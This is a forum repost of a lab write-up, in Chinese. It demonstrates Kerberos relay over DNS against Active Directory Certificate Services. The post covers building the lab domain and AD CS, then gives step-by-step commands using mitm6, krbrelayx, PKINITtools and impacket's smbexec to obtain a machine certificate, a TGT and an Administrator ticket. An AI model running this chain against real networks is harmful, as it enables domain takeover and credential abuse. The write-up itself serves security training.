安全矩阵

 找回密码
 立即注册
搜索
查看: 2442|回复: 0

记一次靶场域场景之利用DNS中继Kerberos

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-3-11 19:46:55 | 显示全部楼层 |阅读模式
记一次靶场域场景之利用DNS中继Kerberos原创 pachimker [url=]蛇矛实验室[/url] 2022-03-11 19:02
收录于话题
#网络攻防靶场12个
#渗透测试8个
#红蓝对抗7个

本环境是蛇矛实验室基于"火天网演攻防演训靶场"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现工作。



想一起玩靶场的朋友可以进群哦,近期会开放线上靶场供大家玩耍!





简介

DNS 是拥有有效的 Kerberos 基础架构的关键组件。
AD中的 DNS 支持使用 Kerberos 在 DNS 上进行身份验证用于使具有动态地址的网络客户端的 DNS 记录与其当前 IP 地址保持同步。如果我们能够拦截 DNS 查询,就有可能欺骗受害客户端向我们发送真实 DNS 服务器的 Kerberos 票证。这种拦截可以在默认的 Windows 配置中由同一 (V)LAN 中的任何系统使用mitm6 完成。mitm6 将自己宣传为 DNS 服务器,这意味着受害者将发送SOA到我们的假服务器,如果我们拒绝他们的动态更新,则使用 Kerberos 进行身份验证。通常 DNS 服务器角色将在域控制器上运行。因此,DNS 服务的服务票证已经适用于在 DC 上运行的服务,因为它们使用相同的帐户,我们可以更改票证中的服务名称。这意味着我们可以将此票证中继到例如 LDAP。但是,如果我们仔细查看 TKEY 查询中的身份验证器,我们会看到设置了请求完整性(签名)的标志。

攻击过程



环境



DC:192.168.21.2  
域名C.rangenet.com

ADCS :192.168.21.3
域名:adcs.rangenet.com

win10域成员:192.168.21.4  
域名:win10.rangenet.com

kali:192.168.21.10


拓扑





DC搭建



选择一台winserver搭建adcs服务,这里是winserver2016。选择Active Directory 域服务,其他默认即可。



安装完成之后,提升为域控制器,开始配置域控。

添加新林rangenet.com,其他默认,然后一步步到安装。







ADCS搭建


选择一台winserver搭建adcs服务,这里是winserver2016。然后先将这台server加入到rangenet.com域中




重启之后,使用域控账号登录(因为要安装ADCS服务需要登陆账号属于Enterprise Admins组,为了方便这里使用域控账号登录)



下面正式开始安装ADCS服务,只需要注意下面截图的内容,其他都是默认。

服务器管理器-->添加角色和功能向导-->勾选服务器角色-->Active Director 证书服务





开始安装



配置ADCS服务,只需要注意下面截图的内容,其他都是默认。












访问http://localhost/certsrv出现登录框



输入系统账号即可进入,出现下面界面,表示安装成功。




Kerberos中继攻击


DNS添加

Kali中添加域控ip为dns


改完后ping一下域成员,能ping通即可


开始攻击

使用mitm6监听DHCPV6请求。

Mitm6 –domain rangenet.com –host-allowlistwin10.rangenet.com –relay adcs.rangenet.com -v

--domain 是要攻击的域名--host-allowlist是过滤win10这台机器的请求--relay是转发请求的地址,这里填adcs地址



使用krbrelays.py中继kerberos协议.

Pyhton3 krbrelayx.py –target http://adcs.rangenet.com/certsrv/-ip 192.168.21.10 –victim win10.rangenet.com –adcs –template Machine

--target 是adcs证书服务的url地址-ip是当前ip(内网中控制的机器,这里把kali直接放在内网中了)--victim是受害者域名



域成员重新获取DHCPV6

当win10成员机获取网络连接时会发出DHCPv6请求的包,以便mitm6可以接管DHCPv6请求。



Krbrelax.py成功中继到证书



证书太长,把证书复制到文件里方便后续使用。



TGT获取

接下来使用证书去向域控获取tgt,我们使用gettgtpkinit.py来模拟这个过程。

python gettgtpkinit.py -pfx-base64 一大串证书 rangenet.com/win10$ win10.ccache



报下面截图的错是因为时钟问题,DC的时间太落后了,调回正常时间即可。



下面成功获取到tgt票据



接下来请求管理员票据

python gets4uticket.py kerberos+ccache://rangenet.com\\win10\$:win10.ccache@DC主机名.rangenet.com cifs/win10.rangenet.com@rangenet.com Administrator@rangenet.comadmin.ccache

DC主机名在mitm6处理的请求中可以找到





然后就可以使用管理员票据去登录机器了

KRB5CCNAME=admin.ccache python ../impacket/examples/smbexec.py-k rangenet.com/Administrator@win10.rangenet.com -no-pass





技术分析


域成员会在重启或者重新配置DNS时发起广播。


Kali告诉Win10:你需要进行DNS的请求


当win10继续对kali发起dns请求后,第一次将被拒绝掉。



因为身份被拒绝,Win10会向域控索取Ticket,拿到Ticket后再次向kali进行请求。允许执行DNS动态更新



通过Krbrelayx获取ticket之后,我们利用该ticket对AD CS进行授权请求。



通过发送KerberosTicket,可以进行证书申请。申请完成即可获得证书





获取到证书之后,我们可以使用rubeus或者pkinittools进行kerberos身份验证,使用smbclient可以列出目标主机资源




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 12:00 , Processed in 0.014597 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表